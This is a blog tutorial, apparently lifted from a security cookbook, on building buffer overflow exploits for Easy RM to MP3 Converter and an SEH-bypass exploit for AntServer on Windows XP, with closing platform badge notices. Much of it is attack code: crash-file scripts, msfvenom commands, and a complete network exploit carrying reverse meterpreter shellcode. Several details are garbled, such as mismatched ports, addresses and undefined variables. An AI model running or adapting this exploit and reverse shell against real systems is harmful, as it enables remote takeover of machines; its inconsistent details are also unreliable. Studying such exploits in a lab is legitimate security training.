A Complete Guide to Exploit Buffer Overflow on Real SoftwaresteemCreated with Sketch.

in #technology8 years ago

Now let's try these on some of the software already exploited long ago and with public exploits available. In this recipe, you will learn about publicly available exploits for old software and create your own version of the exploit for it.

Before we begin, we will need an old version of a Windows OS (preferably, Windows XP) and a debugger for Windows. I have used Immunity Debugger (The free version of Immunity Debugger can be downloaded at https://www.immunityinc.com/products/debugger/.) and an old software with a known buffer overflow vulnerability. We will use Easy RM to MP3 Converter. This version had a buffer overflow vulnerability in playing large M3U files.

Follow the given steps to learn about it:

  1. download and install our MP3 converter on the machine.

  2. This converter had a vulnerability in playing M3U files. The software crashed when a large file was opened for conversion with it.

  3. Let's create a file with about 30,000 As written into it and save it as filename.m3u:

1.jpg

We then drag and drop the file into the player, and we will see that it crashes:

1.jpg

Now we need to find the exact number of bytes that cause the crash.
Typing so many As manually in a file will take a lot of time, so we write a simple Python program to do that for us:

    import io
    a="A"*30000
    file =open("crash.m3u","w")
    file.write(a)
    file.close()

Now we play around with bytes to find the exact value of the crash.
In our case, it came out to be 26,105 as the program did not crash at 26,104 bytes:
1.jpg

Now, we run our debugger and attach our running converter program to it by navigating to File | Attach:

1.jpg

Then, we select the process name from the list of running programs:

1.jpg

Once it is attached, we open our M3U file in the program. We will see a warning in the status bar of the debugger. We simply click on continue by pressing the F9 key or clicking on the play button from the top menu bar.

We will see that the EIP was overwritten with As and the program crashed:

1.jpg

Now we need to find the exact 4 bytes that cause the crash. We will use the script from Kali known as pattern create. It generates a unique pattern for the number of bytes we want.

We can find the path of the script using the locate command:

locate pattern_create

The following screenshot shows the output of the preceding command:

1.jpg

Now that we have the path, we run the script and pass the number of bytes:

    *ruby /path/to/script/pattern_create.rb 5000*

We used 5,000 because we already know it will not crash at 25,000, so we only create a pattern for the next 5,000 bytes.
We have our unique pattern. We now paste this in our M3U file along with 25,000 As.
We open up our application and attach the process to our debugger:\

1.jpg

We then drag and drop our M3U file into the program.
It crashes and we have our EIP overwritten with 42386b42.
Metasploit has another great script to find the location of the offset:

ruby /path/to/script/pattern_offset.rb 5000

Now we have the offset match at 1104; adding it to the 25,000 As, we now know that EIP is overwritten after 26,104 bytes:

1.jpg

Next, we need to find out a reliable way of jumping to the shellcode. We do this by simply writing extra random characters into the stack after EIP, making sure the shellcode we write will be written properly into the memory.

We run the program, attach it to the debugger, and let it crash.

We will see the EIP has been overwritten successfully. In the window in the bottom-right corner, we right-click and select Go to ESP:

1.jpg

Here, we notice that the ESP actually starts from the 5th byte. To make sure our shellcode is executed properly, we now need to make sure shellcode starts after 4 bytes. We can insert four NOPs to fix this:

Since we have control over EIP, there are multiple ways to execute our shellcode, and we will cover two of them here.

The first one is simple: we find the jmp esp instruction in the code and overwrite the address with it. To do that, we right-click and navigate to Search for | All commands in all modules:

We type the jmp esp instruction:

In the results box, we see our instruction, and we copy the address for our exploit.

Let's write an exploit now. The basic concept would be junk bytes + address of jump ESP + NOP bytes + Shellcode:

We can generate the shellcode of the calculator:

    *msfvenom windows/exec CMD=calc.exe R | msfencode -b*
    *'\x00\x0A\x0D' -t c*

Now we run the exploit, and we should see the calculator open once the program crashes!

Let's try another method; suppose there are no jmp esps available for us to use. In this case, we can use push esp and then use the ret instruction, which will move the pointer to the top of the stack and then call the esp.
We follow the same steps until step 25. Then, we right-click and go to Search for | All sequences in all modules.
Here, we type push esp ret:

In the result, we see we have the sequence in the address: 018F1D88.
Now we simply replace the EIP address in our exploit code with this and run the exploit, and we should have a calculator open up:

SEH bypass

Before we start, we need to understand what SEH is. SEH stands for structured exception handling. We may have often seen programs popping up an error saying the software has encountered a problem and needs to close. This basically means it's the default exception handler of Windows kicking in.

SEH handlers can be considered the block of try and catch statements that are executed in order when there's an exception in the program. This is what a typical SEH chain would look like:

When an exception occurs, the SEH chain comes to the rescue and handles the exception based on its type.

So, when an illegal instruction occurs, the application gets a chance to handle the exception. If no exception handler is defined in the application, we will see an error shown by Windows: something like Send a report to Microsoft.

To perform a successful exploitation of a program with the SEH handler, we first try to fill the stack with our buffer and then try to overwrite the memory address that stores the first SEH record chain. However, that is not enough; we need to generate an error as well, that will actually trigger the SEH handler and then we will be able to gain complete control over the execution flow of the program. An easy way is to keep filling the stack all the way down, which will create an exception to be handled, and since we already have control over the first SEH record, we will be able to exploit it.

In this recipe, you will learn how to do this:

Let's download a program called AntServer. It has a lot of public exploits available, and we will try to build our own exploit for it.
We will install it on the Windows XP SP2 machine that we used in the previous recipe.
AntServer had a vulnerability that could be triggered by sending a long USV request to the AntServer running on port 6600:

Let's run the AntServer by opening the software and navigating to Server | Run Service Control...:

Now let's write a simple Python script, that will send a large request to this server on port 6600:

#!/usr/bin/pythonimport socket
import socket
address="192.168.110.6"
port=6660
buffer = "USV " + "\x41" * 2500 + "\r\n\r\n"
sock=socket.socket(socket.AF_INET, socket.SOCK_STREAM)
connect=sock.connect((address, port))
sock.send(buffer)
sock.close()

Coming back to the Windows machine, let's start Immunity Debugger and attach the process AntServer.exe to it. And then, click on Run.

Once the program is running, we run our Python script from Kali, and in our Debugger, we will see a violation error. However, our EIP has not been overwritten yet:

In the File menu in the debugger, we go to View | SEH chain. Here, we will see that the address has been overwritten by AAAA. Now we press Shift+ F9 to pass an exception to the program. We will see that the EIP has been overwritten, and we get an error:

We will also notice that the other register values have now become zero. This zeroing of registers was introduced in Windows XP SP1 and later in order to make SEH exploitation more difficult.

We are using Windows XP SP2. It has a feature called SAFESEH. When this option is enabled in the module, only the memory addresses listed on the registered SEH handlers list can be used, which means if we use any address that is not on the list, from a module compiled with /SAFESEH ON, the SEH address will not be used by the Windows exception handler and the SEH overwrite will fail.

There are a few ways to bypass this, and this is one of them: using an overwrite address from a module that was not compiled with the /SAFESEH ON or IMAGE_DLLCHARACTERISTICS_NO_SEH options.

To find that, we will use a plugin called mona for Immunity Debugger. It can be downloaded from https://github.com/corelan/mona:

We simply copy the Python file into the PyCommands folder of the Immunity application.
Let's move on to making the exploit. We have seen that the EIP has already been overwritten. Now we will try to find the exact bytes at which the crash occurs using the pattern create script in Kali Linux:

ruby /path/to/script/pattern_create.rb -l 2500

The following screenshot shows the output of the preceding command:

The code should be something like this:

We now run this file, and in Immunity Debugger, we will see the access violation error. We now go to View | SEH chain.

We will see that our SEH has been overwritten with bytes. We copy the 42326742 value and find its location using the pattern_offset script in Kali:

ruby /path/to/script/pattern_offset.rb -q 423267412

The following screenshot shows the output of the preceding command:

We will see that the offset is 966 bytes at which the handler is overwritten.
Now let's modify our exploit a bit and see what happens. We have 966 bytes; we will use 962 bytes of As and 4 bytes of breakpoint and 4 with Bs and the rest of the bytes with Cs to see what happens:

#!/usr/bin/python
import socket address="192.168.110.12"
port=6660 buffer = "USV "
buffer+= "A" * 962
buffer+= "\xcc\xcc\xcc\xcc"
buffer+= "BBBB"
buffer+= "C" * (2504 - len(buffer))
buffer+= "\r\n\r\n"
sock=socket.socket(socket.AF_INET, socket.SOCK_STREAM)
connect=sock.connect((target_address,target_port))
sock.send(buffer)
sock.close()

We run this and view the SEH chain. Here, we will notice an interesting thing: the first 4 breakpoints we added have actually overwritten a memory address, and the next 4 have been overwritten into our SEH handler:

This happens as the SEH is a pointer that points to the memory address where the code is stored when an exception occurs.

Let's pass the exception to the program and we will see that EIP has been overwritten, but when we look in the memory, we will see that our Cs have been written approximately 6 bytes after our Bs in the memory. We can use a POP RET followed by a short JUMP code to jump to our shellcode.
We type the !safeseh command in the debugger's console:

This will show us the list of all DLLs that are not compiled using SAFESEH/ON. In the log window, we will see the list of the functions:

et's use a DLL vbajet32.dll. Our goal is to find a POP POP RET sequence in the DLL, that we can use to bypass SEH.
We find our DLL on the Windows machine and copy it to Kali. Kali has another great tool known as msfpescan, that can be used to find the POP POP RET sequence in the DLL:

/path/to/msfpescan -f vbajet32.dll -s

The following screenshot shows the output of the preceding command:

Here, we have the address for all the POP POP RET sequences in the .dll. We will use the first one, 0x0f9a1f0b. We also need a short JUMP code, that will cause a jump to our shellcode or Cs stored in the memory.
Short JUMP is \xeb\x06, where 06 is the number of bytes we need to jump. We are still 2 bytes short of the 4-byte address space and we can use 2 NOPs.
Let's create a shellcode; since we are sending this over HTTP, we need to make sure we avoid bad characters. We will use msfvenom:
* msfvenom -p windows/meterpreter/reverse_tcp -f py*
-b "\x00\xff\x20\x25\x0a\x-d" -v buffer

The following screenshot shows the output of the preceding command:

We will put everything in the exploit, as follows:

    #!/usr/bin/python
    import socket
    target_address="192.168.110.12"
    target_port=6660
    buffer = "USV "
    buffer += "\x41" * 962 #offset

6 Bytes SHORT jump to shellcode

    buffer += "\xeb\x06\x90\x90"
    # POP+POP+RET 0x0f9a196a
    buffer += "\x6a\x19\x9a\x0f"
    buffer += "\x90" * 16
    #Shellcode Reverse meterpreter.
    buffer += "\xdb\xde\xd9\x74\x24\xf4\xbf\xcf\x9f\xb1\x9a\x5e"
    buffer += "\x31\xc9\xb1\x54\x83\xee\xfc\x31\x7e\x14\x03\x7e"
    buffer += "\xdb\x7d\x44\x66\x0b\x03\xa7\x97\xcb\x64\x21\x72"
    buffer += "\xfa\xa4\x55\xf6\xac\x14\x1d\x5a\x40\xde\x73\x4f"
    buffer += "\xd3\x92\x5b\x60\x54\x18\xba\x4f\x65\x31\xfe\xce"
    buffer += "\xe5\x48\xd3\x30\xd4\x82\x26\x30\x11\xfe\xcb\x60"
    buffer += "\xca\x74\x79\x95\x7f\xc0\x42\x1e\x33\xc4\xc2\xc3"
    buffer += "\x83\xe7\xe3\x55\x98\xb1\x23\x57\x4d\xca\x6d\x4f"
    buffer += "\x92\xf7\x24\xe4\x60\x83\xb6\x2c\xb9\x6c\x14\x11"
    buffer += "\x76\x9f\x64\x55\xb0\x40\x13\xaf\xc3\xfd\x24\x74"
    buffer += "\xbe\xd9\xa1\x6f\x18\xa9\x12\x54\x99\x7e\xc4\x1f"
    buffer += "\x95\xcb\x82\x78\xb9\xca\x47\xf3\xc5\x47\x66\xd4"
    buffer += "\x4c\x13\x4d\xf0\x15\xc7\xec\xa1\xf3\xa6\x11\xb1"
    buffer += "\x5c\x16\xb4\xb9\x70\x43\xc5\xe3\x1c\xa0\xe4\x1b"
    buffer += "\xdc\xae\x7f\x6f\xee\x71\xd4\xe7\x42\xf9\xf2\xf0"
    buffer += "\xa5\xd0\x43\x6e\x58\xdb\xb3\xa6\x9e\x8f\xe3\xd0"
    buffer += "\x37\xb0\x6f\x21\xb8\x65\x05\x24\x2e\x46\x72\x48"
    buffer += "\xa5\x2e\x81\x95\xa8\xf2\x0c\x73\x9a\x5a\x5f\x2c"
    buffer += "\x5a\x0b\x1f\x9c\x32\x41\x90\xc3\x22\x6a\x7a\x6c"
    buffer += "\xc8\x85\xd3\xc4\x64\x3f\x7e\x9e\x15\xc0\x54\xda"
    buffer += "\x15\x4a\x5d\x1a\xdb\xbb\x14\x08\x0b\xda\xd6\xd0"
    buffer += "\xcb\x77\xd7\xba\xcf\xd1\x80\x52\xcd\x04\xe6\xfc"
    buffer += "\x2e\x63\x74\xfa\xd0\xf2\x4d\x70\xe6\x60\xf2\xee"
    buffer += "\x06\x65\xf2\xee\x50\xef\xf2\x86\x04\x4b\xa1\xb3"
    buffer += "\x4b\x46\xd5\x6f\xd9\x69\x8c\xdc\x4a\x02\x32\x3a"
    buffer += "\xbc\x8d\xcd\x69\xbf\xca\x32\xef\x9d\x72\x5b\x0f"
    buffer += "\xa1\x82\x9b\x65\x21\xd3\xf3\x72\x0e\xdc\x33\x7a"
    buffer += "\x85\xb5\x5b\xf1\x4b\x77\xfd\x06\x46\xd9\xa3\x07"
    buffer += "\x64\xc2\xb2\x89\x8b\xf5\xba\x6b\xb0\x23\x83\x19"
    buffer += "\xf1\xf7\xb0\x12\x48\x55\x90\xb8\xb2\xc9\xe2\xe8"
    # NOP SLED
    buffer += "\x90" * (2504 - len(buffer))
    buffer += "\r\n\r\n"
    sock=socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    connect=sock.connect((target_address,target_port))
    sock.send(buffer)
    print "Sent!!"
    sock.close()

The following screenshot shows the output of the preceding command:

Let's run this without the debugger this time. We will open our handler in Kali, and we should have meterpreter access:

That's it thanks for reading.

Sort:  

Congratulations @drhydrogen7! You have completed some achievement on Steemit and have been rewarded with new badge(s) :

You published your First Post
You made your First Vote
You got a First Vote

Click on any badge to view your own Board of Honor on SteemitBoard.
For more information about SteemitBoard, click here

If you no longer want to receive notifications, reply to this comment with the word STOP

Upvote this notification to help all Steemit users. Learn why here!

Congratulations @drhydrogen7! You received a personal award!

Happy Birthday! - You are on the Steem blockchain for 1 year!

You can view your badges on your Steem Board and compare to others on the Steem Ranking

Vote for @Steemitboard as a witness to get one more award and increased upvotes!

Coin Marketplace

STEEM 0.04
TRX 0.32
JST 0.082
BTC 61643.21
ETH 1637.63
USDT 1.00
SBD 0.41